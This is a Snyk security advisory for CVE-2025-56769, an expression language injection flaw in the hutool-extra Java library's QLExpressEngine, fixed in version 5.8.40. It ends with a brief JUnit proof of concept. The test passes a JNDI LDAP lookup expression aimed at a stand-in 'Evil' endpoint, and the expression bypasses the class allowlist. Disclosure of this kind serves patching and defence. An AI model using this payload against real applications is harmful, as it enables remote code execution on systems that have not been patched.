Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') Affecting cn.hutool:hutool-extra package, versions [,5.8.40)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsSnyk Learn
Learn about Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') vulnerabilities in an interactive lesson.
Start learning- Snyk IDSNYK-JAVA-CNHUTOOL-13110038
- published29 Sept 2025
- disclosed26 Sept 2025
- creditadv851
Introduced: 26 Sep 2025
NewCVE-2025-56769 (opens in a new tab)How to fix?
Upgrade cn.hutool:hutool-extra to version 5.8.40 or higher.
Overview
Affected versions of this package are vulnerable to Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') via the QLExpressEngine process. An attacker can execute arbitrary code by submitting crafted expressions that trigger arbitrary method invocation.
PoC
@Test
public void QLExpressTest() {
String expression = "javax.naming.InitialContext.doLookup(\"ldap://[127.0.0.1:8087/Evil\](http://127.0.0.1:8087/Evil)")";
// We tested with the strictest allowlist configuration, and the results indicate that the allowlist mechanism did not take effect when using the QLExpressEngine.
HashSet<Class<?>> allowedSet = new HashSet<>();
allowedSet.add(String.class);
// Evaluate the expression. Despite the whitelist, the expression will execute.
ExpressionUtil.eval(expression, new HashMap<>(), allowedSet);
}